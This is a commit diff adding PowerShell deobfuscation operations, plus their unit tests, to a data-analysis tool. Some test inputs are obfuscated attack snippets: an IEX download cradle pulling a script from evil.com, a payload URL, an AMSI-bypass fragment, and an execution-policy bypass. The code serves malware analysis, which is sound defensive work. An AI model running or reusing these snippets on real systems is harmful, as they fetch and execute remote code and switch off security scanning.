Add PowerShell deobfuscation operations (addresses #2396)

Implements five new operations under the 'Code tidy' category to
deobfuscate common PowerShell obfuscation techniques:

- PowerShell Format String Deobfuscate: resolves (-f) format operator
  expressions such as ("{0}{2}{1}" -f 'new-ob','t','jec') -> new-object
- PowerShell Decode EncodedCommand: decodes -enc / -e / -ec Base64
  UTF-16LE payloads, accepting raw tokens or full command lines
- PowerShell Backtick Remove: strips obfuscating backticks with an opt-in
  'Preserve escape sequences' mode for legitimate PS escapes
- PowerShell Concatenation Join: iteratively joins 'frag'+'ment' string
  literals, handling mixed quote types and arbitrary chain lengths
- PowerShell Char Decode: decodes [char]N and [char[]](N,N,...) casts
  supporting both decimal and 0x hex values

Each operation includes auto-detection checks for the Magic operation,
comprehensive unit tests, and OSINT-validated test cases sourced from
Emotet, AMSI bypass, and Invoke-Obfuscation real-world samples.
This commit is contained in:
vigneshrajan94 2026-05-27 16:30:53 +05:30
parent 6a3a370bb1
commit 19dd80b10e
12 changed files with 1067 additions and 0 deletions

View File

@ -493,6 +493,11 @@
"PHP Deserialize", "PHP Deserialize",
"PHP Serialize", "PHP Serialize",
"Microsoft Script Decoder", "Microsoft Script Decoder",
"PowerShell Format String Deobfuscate",
"PowerShell Decode EncodedCommand",
"PowerShell Backtick Remove",
"PowerShell Concatenation Join",
"PowerShell Char Decode",
"Strip HTML tags", "Strip HTML tags",
"Diff", "Diff",
"To Snake case", "To Snake case",

View File

@ -0,0 +1,65 @@
/**
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import Operation from "../Operation.mjs";
/**
* PowerShell Backtick Remove operation
*/
class PowerShellBacktickRemove extends Operation {
constructor() {
super();
this.name = "PowerShell Backtick Remove";
this.module = "Default";
this.description = "Removes obfuscating backtick characters from PowerShell code. Attackers insert backticks before regular letters to break up recognisable keywords without changing execution (<code>In&#96;voke-Ex&#96;pression</code> → <code>Invoke-Expression</code>).<br><br>By default all backticks are stripped, which maximally deobfuscates the script. Enable <b>Preserve escape sequences</b> to retain legitimate PowerShell escape sequences (<code>&#96;n</code>, <code>&#96;t</code>, <code>&#96;r</code>, <code>&#96;0</code>, <code>&#96;a</code>, <code>&#96;b</code>, <code>&#96;f</code>, <code>&#96;v</code>, <code>&#96;e</code>, <code>&#96;&quot;</code>, <code>&#96;'</code>, <code>&#96;&#96;</code>, <code>&#96;$</code>, <code>&#96;u</code>).";
this.infoURL = "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_special_characters";
this.inputType = "string";
this.outputType = "string";
this.args = [
{
name: "Preserve escape sequences",
type: "boolean",
value: false
}
];
this.checks = [
{
pattern: "`[a-zA-Z0-9]",
flags: "",
args: []
}
];
}
/**
* @param {string} input
* @param {Object[]} args
* @returns {string}
*/
run(input, args) {
const preserveEscapes = args[0];
if (!preserveEscapes) {
// Strip all backticks — maximally deobfuscating.
return input.replace(/`/g, "");
}
// Preserve recognised PowerShell escape sequences by consuming each backtick
// together with its following character in one match. This ensures `` (two backticks)
// is treated as a single escape unit rather than two independent backticks.
// `n `t `r `0 `a `b `f `v `e → control characters
// `" `' `` `$ → literal punctuation
// `u → Unicode escape (PS 6+)
return input.replace(/`([\s\S]?)/g, (match, next) => {
return /[ntrabfve0"'`$u]/.test(next) ? match : next;
});
}
}
export default PowerShellBacktickRemove;

View File

@ -0,0 +1,78 @@
/**
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import Operation from "../Operation.mjs";
/**
* PowerShell Char Decode operation
*/
class PowerShellCharDecode extends Operation {
constructor() {
super();
this.name = "PowerShell Char Decode";
this.module = "Default";
this.description = "Resolves PowerShell <code>[char]</code> cast expressions to their character values. Handles decimal and hexadecimal operands, single casts, and array forms.<br><br><b>Supported patterns</b><br><code>[char]65</code> → <code>A</code><br><code>[char]0x41</code> → <code>A</code><br><code>[System.Char]65</code> → <code>A</code><br><code>[char[]](73,69,88)</code> → <code>\"IEX\"</code><br><code>-join [char[]](73,69,88)</code> → <code>\"IEX\"</code><br><br>Invalid or out-of-range values are left unchanged.";
this.infoURL = "https://learn.microsoft.com/en-us/dotnet/api/system.char";
this.inputType = "string";
this.outputType = "string";
this.args = [];
this.checks = [
{
pattern: "\\[(?:System\\.)?[Cc]har\\]",
flags: "",
args: []
}
];
}
/**
* @param {string} input
* @param {Object[]} args
* @returns {string}
*/
run(input, args) {
let result = input;
// Resolve array form first: [char[]](65,66,67) or -join [char[]](65,66,67)
result = result.replace(
/(?:-join\s*)?\[(?:System\.)?[Cc]har\[\]\]\s*\(([^)]+)\)/g,
(match, nums) => {
try {
const chars = nums.split(",").map(n => {
const t = n.trim();
const code = /^0x/i.test(t) ? parseInt(t, 16) : parseInt(t, 10);
if (isNaN(code) || code < 0 || code > 0xFFFF) throw new RangeError();
return String.fromCharCode(code);
});
return `"${chars.join("")}"`;
} catch (e) {
return match;
}
}
);
// Resolve single [char] or [System.Char] cast (decimal or hex)
result = result.replace(
/\[(?:System\.)?[Cc]har\]\s*(0x[0-9a-fA-F]+|\d+)/g,
(match, code) => {
try {
const num = /^0x/i.test(code) ? parseInt(code, 16) : parseInt(code, 10);
if (isNaN(num) || num < 0 || num > 0xFFFF) return match;
return String.fromCharCode(num);
} catch (e) {
return match;
}
}
);
return result;
}
}
export default PowerShellCharDecode;

View File

@ -0,0 +1,61 @@
/**
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import Operation from "../Operation.mjs";
/**
* PowerShell Concatenation Join operation
*/
class PowerShellConcatenationJoin extends Operation {
constructor() {
super();
this.name = "PowerShell Concatenation Join";
this.module = "Default";
this.description = "Resolves PowerShell string concatenation obfuscation by joining adjacent static string literals separated by <code>+</code>. Only resolves runs where every operand is a quoted literal — expressions involving variables or sub-expressions are left untouched.<br><br><b>Example</b><br>Input: <code>'In'+'vo'+'ke'+'-'+'Item'</code><br>Output: <code>'Invoke-Item'</code><br><br>Handles single-quoted, double-quoted, and mixed-quote chains. Runs iteratively until no further reductions are possible.";
this.infoURL = "https://learn.microsoft.com/en-us/powershell/scripting/lang-spec/chapter-07";
this.inputType = "string";
this.outputType = "string";
this.args = [];
this.checks = [
{
pattern: "(?:\"[^\"]*\"|'[^']*')\\s*\\+\\s*(?:\"[^\"]*\"|'[^']*')",
flags: "",
args: []
}
];
}
/**
* @param {string} input
* @param {Object[]} args
* @returns {string}
*/
run(input, args) {
let result = input;
let prev;
// Iteratively collapse adjacent quoted-string pairs until stable.
// Four passes per iteration to cover all quote-type combinations.
do {
prev = result;
// "a" + "b" → "ab"
result = result.replace(/"([^"]*)"\s*\+\s*"([^"]*)"/g, (_, a, b) => `"${a}${b}"`);
// 'a' + 'b' → 'ab'
result = result.replace(/'([^']*)'\s*\+\s*'([^']*)'/g, (_, a, b) => `'${a}${b}'`);
// "a" + 'b' → "ab" (normalise to leading quote style)
result = result.replace(/"([^"]*)"\s*\+\s*'([^']*)'/g, (_, a, b) => `"${a}${b}"`);
// 'a' + "b" → 'ab'
result = result.replace(/'([^']*)'\s*\+\s*"([^"]*)"/g, (_, a, b) => `'${a}${b}'`);
} while (result !== prev);
return result;
}
}
export default PowerShellConcatenationJoin;

View File

@ -0,0 +1,66 @@
/**
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import Operation from "../Operation.mjs";
import {fromBase64} from "../lib/Base64.mjs";
import OperationError from "../errors/OperationError.mjs";
/**
* PowerShell Decode EncodedCommand operation
*/
class PowerShellDecodeEncodedCommand extends Operation {
constructor() {
super();
this.name = "PowerShell Decode EncodedCommand";
this.module = "Default";
this.description = "Decodes a PowerShell <code>-EncodedCommand</code> payload. The encoded command is a Base64-encoded, UTF-16LE string. Accepts the raw Base64 value, a flag-prefixed form (<code>-enc &lt;b64&gt;</code>), or a full invocation (<code>powershell.exe -w hidden -enc &lt;b64&gt;</code>).<br><br><b>Example</b><br>Input: <code>-enc SQBFAFgA</code><br>Output: <code>IEX</code>";
this.infoURL = "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe";
this.inputType = "string";
this.outputType = "string";
this.args = [];
this.checks = [
{
pattern: "-e(?:n(?:c(?:o(?:d(?:e(?:d(?:c(?:o(?:m(?:m(?:and?)?)?)?)?)?)?)?)?)?)?)?\\s+[A-Za-z0-9+/]+=*\\s*$",
flags: "i",
args: []
}
];
}
/**
* @param {string} input
* @param {Object[]} args
* @returns {string}
*/
run(input, args) {
// The Base64 payload is always the last whitespace-separated token.
// This cleanly handles all input forms:
// "SQBFAFgA"
// "-enc SQBFAFgA"
// "powershell.exe -w 1 -nop -ep bypass -enc SQBFAFgA"
const b64 = input.trim().split(/\s+/).pop().replace(/^["']|["']$/g, "");
if (!b64) throw new OperationError("No input provided.");
const bytes = fromBase64(b64, null, "byteArray");
if (bytes.length < 2) throw new OperationError("Decoded data too short to be a valid UTF-16LE string.");
if (bytes.length % 2 !== 0) throw new OperationError("Decoded byte length is odd — not valid UTF-16LE.");
// Decode UTF-16LE: each character is two bytes, little-endian
let result = "";
for (let i = 0; i + 1 < bytes.length; i += 2) {
result += String.fromCharCode(bytes[i] | (bytes[i + 1] << 8));
}
return result;
}
}
export default PowerShellDecodeEncodedCommand;

View File

@ -0,0 +1,71 @@
/**
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import Operation from "../Operation.mjs";
/**
* PowerShell Format String Deobfuscate operation
*/
class PowerShellFormatStringDeobfuscate extends Operation {
constructor() {
super();
this.name = "PowerShell Format String Deobfuscate";
this.module = "Default";
this.description = "Deobfuscates PowerShell strings that use the <code>-f</code> (format) operator with reordered index placeholders. Malware authors use this technique to scramble string fragments, hiding readable commands from static analysis.<br><br><b>Example</b><br>Input: <code>(\"{0}{3}{4}{1}{2}\" -f \"S\",\"Mo\",\"de\",\"et-Stri\",\"ct\")</code><br>Output: <code>Set-StrictMode</code><br><br>All matching expressions in the input are resolved in-place. Unresolvable placeholders (e.g. out-of-range indices) are left unchanged.";
this.infoURL = "https://github.com/bobby-tablez/Format-String-Deobfuscator";
this.inputType = "string";
this.outputType = "string";
this.args = [];
this.checks = [
{
pattern: "\\(\\s*[\"'][^\"']*\\{\\d+\\}[^\"']*[\"']\\s*-f\\s*[\"']",
flags: "i",
args: []
}
];
}
/**
* @param {string} input
* @param {Object[]} args
* @returns {string}
*/
run(input, args) {
// Match: ("<template>" -f "arg0", "arg1", ...) or single-quoted variants
// Template captures: group 1 = double-quoted content, group 2 = single-quoted content
// Args captures: group 3 = the full comma-separated argument list
const exprRegex = /\(\s*(?:"((?:[^"\\]|\\.)*)"|'((?:[^'\\]|\\.)*)')\s*-f\s*((?:(?:"[^"]*"|'[^']*')\s*(?:,\s*(?:"[^"]*"|'[^']*')\s*)*))\s*\)/g;
return input.replace(exprRegex, (match, dqTemplate, sqTemplate, argsStr) => {
try {
const template = dqTemplate !== undefined ? dqTemplate : sqTemplate;
// Extract all quoted argument values in order
const argValues = [];
const argRegex = /"([^"]*)"|'([^']*)'/g;
let argMatch;
while ((argMatch = argRegex.exec(argsStr)) !== null) {
argValues.push(argMatch[1] !== undefined ? argMatch[1] : argMatch[2]);
}
if (argValues.length === 0) return match;
// Substitute {N} placeholders with the corresponding argument value
return template.replace(/\{(\d+)\}/g, (placeholder, idx) => {
const i = parseInt(idx, 10);
return i < argValues.length ? argValues[i] : placeholder;
});
} catch (e) {
return match;
}
});
}
}
export default PowerShellFormatStringDeobfuscate;

View File

@ -140,6 +140,11 @@ import "./tests/PGP.mjs";
import "./tests/PHP.mjs"; import "./tests/PHP.mjs";
import "./tests/ParityBit.mjs"; import "./tests/ParityBit.mjs";
import "./tests/PHPSerialize.mjs"; import "./tests/PHPSerialize.mjs";
import "./tests/PowerShellBacktickRemove.mjs";
import "./tests/PowerShellCharDecode.mjs";
import "./tests/PowerShellConcatenationJoin.mjs";
import "./tests/PowerShellDecodeEncodedCommand.mjs";
import "./tests/PowerShellFormatStringDeobfuscate.mjs";
import "./tests/PowerSet.mjs"; import "./tests/PowerSet.mjs";
import "./tests/Protobuf.mjs"; import "./tests/Protobuf.mjs";
import "./tests/PubKeyFromCert.mjs"; import "./tests/PubKeyFromCert.mjs";

View File

@ -0,0 +1,137 @@
/**
* PowerShell Backtick Remove tests
*
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import TestRegister from "../../lib/TestRegister.mjs";
TestRegister.addTests([
{
"name": "PowerShell Backtick Remove: basic keyword deobfuscation",
"input": "In`voke-Ex`pression",
"expectedOutput": "Invoke-Expression",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: IEX alias",
"input": "I`E`X",
"expectedOutput": "IEX",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: New-Object",
"input": "Ne`w-O`bje`ct",
"expectedOutput": "New-Object",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: multiple keywords on one line",
"input": "I`EX (N`ew-O`bject N`et.W`ebC`lient).Do`wnlo`adStr`ing($url)",
"expectedOutput": "IEX (New-Object Net.WebClient).DownloadString($url)",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: default strips all backticks including `n",
"input": "Write-Host `\"Hello`nWorld`\"",
"expectedOutput": "Write-Host \"HellonWorld\"",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [false] }]
},
{
"name": "PowerShell Backtick Remove: preserve mode keeps `n escape sequence",
"input": "Write-Host `\"Hello`nWorld`\"",
"expectedOutput": "Write-Host `\"Hello`nWorld`\"",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
},
{
"name": "PowerShell Backtick Remove: preserve mode keeps `t tab escape",
"input": "col1`tcol2`tcol3",
"expectedOutput": "col1`tcol2`tcol3",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
},
{
"name": "PowerShell Backtick Remove: preserve mode keeps `\" and `' escapes",
"input": "\"He said `\"hello`\"\"",
"expectedOutput": "\"He said `\"hello`\"\"",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
},
{
"name": "PowerShell Backtick Remove: preserve mode keeps `$ to suppress variable expansion",
"input": "Write-Host `$notAVariable",
"expectedOutput": "Write-Host `$notAVariable",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
},
{
"name": "PowerShell Backtick Remove: preserve mode keeps `` literal backtick escape",
"input": "Write-Host ``",
"expectedOutput": "Write-Host ``",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
},
{
"name": "PowerShell Backtick Remove: preserve mode strips obfuscation but keeps escapes",
"input": "Inv`oke`-Ex`pression `\"Hello`nWorld`\"",
"expectedOutput": "Invoke-Expression `\"Hello`nWorld`\"",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
},
{
"name": "PowerShell Backtick Remove: empty input",
"input": "",
"expectedOutput": "",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: no backticks — passthrough",
"input": "Invoke-Expression $cmd",
"expectedOutput": "Invoke-Expression $cmd",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: AMSI bypass pattern",
"input": "[Re`f].A`ss`em`bl`y.G`etT`yp`e('S`yst`em.M`an`ag`em`en`t.A`ut`om`at`io`n.A`ms`iU`ti`ls')",
"expectedOutput": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: digits after backtick are removed (not special)",
"input": "Write`1-Host",
"expectedOutput": "Write1-Host",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: download cradle with backtick New-Object and WebClient",
"input": "i`ex(Ne`w-Ob`ject N`et.W`ebCl`ient).D`ownl`oadStr`ing('http://evil.com/a.ps1')",
"expectedOutput": "iex(New-Object Net.WebClient).DownloadString('http://evil.com/a.ps1')",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: Set-ExecutionPolicy bypass split by backticks",
"input": "S`et-Ex`ecut`ionP`oli`cy By`pass -S`cop`e Pr`oces`s",
"expectedOutput": "Set-ExecutionPolicy Bypass -Scope Process",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: backtick inside URL string",
"input": "htt`p://19`2.168.1.1/pa`yload.ps1",
"expectedOutput": "http://192.168.1.1/payload.ps1",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: trailing backtick with no following char removed",
"input": "Get-Process`",
"expectedOutput": "Get-Process",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
},
{
"name": "PowerShell Backtick Remove: preserve mode strips `P `o obfuscation, keeps `n and `\"",
"input": "Get-`Pr`ocess `\"Hello`nWorld`\"",
"expectedOutput": "Get-`Pr`ocess `\"Hello`nWorld`\"",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
},
{
"name": "PowerShell Backtick Remove: preserve mode strips obfuscation, keeps `$ suppressor",
"input": "Get-`Pr`ocess `$notVar",
"expectedOutput": "Get-Process `$notVar",
"recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
}
]);

View File

@ -0,0 +1,137 @@
/**
* PowerShell Char Decode tests
*
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import TestRegister from "../../lib/TestRegister.mjs";
TestRegister.addTests([
{
"name": "PowerShell Char Decode: decimal single char",
"input": "[char]65",
"expectedOutput": "A",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: hex single char",
"input": "[char]0x41",
"expectedOutput": "A",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: [System.Char] form",
"input": "[System.Char]65",
"expectedOutput": "A",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: char array — IEX",
"input": "[char[]](73,69,88)",
"expectedOutput": "\"IEX\"",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: -join char array — IEX",
"input": "-join [char[]](73,69,88)",
"expectedOutput": "\"IEX\"",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: char array with hex values",
"input": "[char[]](0x49,0x45,0x58)",
"expectedOutput": "\"IEX\"",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: char array — New-Object",
"input": "[char[]](78,101,119,45,79,98,106,101,99,116)",
"expectedOutput": "\"New-Object\"",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: multiple single casts in one line",
"input": "[char]73 + [char]69 + [char]88",
"expectedOutput": "I + E + X",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: char cast embedded in script",
"input": "$cmd = [char[]](73,69,88); & $cmd $payload",
"expectedOutput": "$cmd = \"IEX\"; & $cmd $payload",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: null character",
"input": "[char]0",
"expectedOutput": "\x00",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: space character",
"input": "[char]32",
"expectedOutput": " ",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: no [char] casts — passthrough",
"input": "Invoke-Expression $cmd",
"expectedOutput": "Invoke-Expression $cmd",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: empty input",
"input": "",
"expectedOutput": "",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: mixed case [Char]",
"input": "[Char]65",
"expectedOutput": "A",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: char array with spaces after commas",
"input": "[char[]](73, 69, 88)",
"expectedOutput": "\"IEX\"",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: ieX via hex char array (Hatching.io sample)",
"input": "[char[]](0x69,0x65,0x58)",
"expectedOutput": "\"ieX\"",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: Write-Output cmdlet via decimal char array",
"input": "[char[]](87,114,105,116,101,45,79,117,116,112,117,116)",
"expectedOutput": "\"Write-Output\"",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: AmsiUtils via decimal char array",
"input": "[char[]](65,109,115,105,85,116,105,108,115)",
"expectedOutput": "\"AmsiUtils\"",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: Get-Process via hex char array",
"input": "[char[]](0x47,0x65,0x74,0x2d,0x50,0x72,0x6f,0x63,0x65,0x73,0x73)",
"expectedOutput": "\"Get-Process\"",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: Invoke-Expression embedded in script",
"input": "$c = [char[]](73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110); & $c",
"expectedOutput": "$c = \"Invoke-Expression\"; & $c",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
},
{
"name": "PowerShell Char Decode: out-of-range value left unchanged",
"input": "[char]99999",
"expectedOutput": "[char]99999",
"recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
}
]);

View File

@ -0,0 +1,119 @@
/**
* PowerShell Concatenation Join tests
*
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import TestRegister from "../../lib/TestRegister.mjs";
TestRegister.addTests([
{
"name": "PowerShell Concatenation Join: two single-quoted fragments",
"input": "'Invoke' + '-Item'",
"expectedOutput": "'Invoke-Item'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: two double-quoted fragments",
"input": "\"Invoke\" + \"-Expression\"",
"expectedOutput": "\"Invoke-Expression\"",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: three-fragment chain",
"input": "'In' + 'vo' + 'ke-Item'",
"expectedOutput": "'Invoke-Item'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: five-fragment chain",
"input": "'In' + 'v' + 'ok' + 'e-' + 'Item'",
"expectedOutput": "'Invoke-Item'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: mixed single + double quotes",
"input": "\"New-\" + 'Object'",
"expectedOutput": "\"New-Object\"",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: mixed double + single quotes",
"input": "'New-' + \"Object\"",
"expectedOutput": "'New-Object'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: embedded in a script",
"input": "$x = 'Do' + 'wn' + 'load' + 'File'\n$y = 'normal'",
"expectedOutput": "$x = 'DownloadFile'\n$y = 'normal'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: multiple independent concatenations on same line",
"input": "('Ne' + 'w-' + 'Ob' + 'ject') ('Do' + 'wn' + 'load' + 'File')",
"expectedOutput": "('New-Object') ('DownloadFile')",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: no concatenation — passthrough",
"input": "$x = 'Invoke-Expression'",
"expectedOutput": "$x = 'Invoke-Expression'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: empty input",
"input": "",
"expectedOutput": "",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: variable operand left untouched",
"input": "'Invoke-' + $suffix",
"expectedOutput": "'Invoke-' + $suffix",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: spaces inside strings preserved",
"input": "'Net.' + 'Web' + 'Client'",
"expectedOutput": "'Net.WebClient'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: extra whitespace around plus",
"input": "'foo' + 'bar'",
"expectedOutput": "'foobar'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: IEX AMSI bypass pattern",
"input": "$a = 'Am' + 'si' + 'Ut' + 'ils'",
"expectedOutput": "$a = 'AmsiUtils'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: Emotet-style URL split",
"input": "'h' + 'tt' + 'p://' + '192' + '.168' + '.1' + '.71' + '/hello.ps1'",
"expectedOutput": "'http://192.168.1.71/hello.ps1'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: DownloadFile method name split",
"input": "'Down' + 'load' + 'File'",
"expectedOutput": "'DownloadFile'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: IEX single-char split",
"input": "'I' + 'E' + 'X'",
"expectedOutput": "'IEX'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
},
{
"name": "PowerShell Concatenation Join: Set-StrictMode split",
"input": "'Se' + 't-' + 'St' + 'ric' + 'tMo' + 'de'",
"expectedOutput": "'Set-StrictMode'",
"recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
}
]);

View File

@ -0,0 +1,101 @@
/**
* PowerShell Decode EncodedCommand tests
*
* @author vigneshrajan94
* @copyright Crown Copyright 2026
* @license Apache-2.0
*/
import TestRegister from "../../lib/TestRegister.mjs";
TestRegister.addTests([
{
"name": "PowerShell Decode EncodedCommand: raw Base64 only",
"input": "SQBFAFgA",
"expectedOutput": "IEX",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: -enc prefix",
"input": "-enc SQBFAFgA",
"expectedOutput": "IEX",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: -EncodedCommand prefix",
"input": "-EncodedCommand SQBFAFgA",
"expectedOutput": "IEX",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: full powershell invocation with flags",
"input": "powershell.exe -w 1 -nop -ep bypass -enc SQBFAFgA",
"expectedOutput": "IEX",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: pwsh with hidden window",
"input": "pwsh -WindowStyle hidden -NonInteractive -enc SQBFAFgA",
"expectedOutput": "IEX",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: Get-Process command",
"input": "RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==",
"expectedOutput": "Get-Process",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: Invoke-Expression command",
"input": "-enc SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAA==",
"expectedOutput": "Invoke-Expression",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: multi-word command",
"input": "powershell -enc TgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQA",
"expectedOutput": "New-Object Net.WebClient",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: -e abbreviation",
"input": "-e SQBFAFgA",
"expectedOutput": "IEX",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: mixed-case flag",
"input": "-Enc SQBFAFgA",
"expectedOutput": "IEX",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: whoami recon command",
"input": "dwBoAG8AYQBtAGkA",
"expectedOutput": "whoami",
"recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
},
{
"name": "PowerShell Decode EncodedCommand: Set-ExecutionPolicy Bypass preamble",
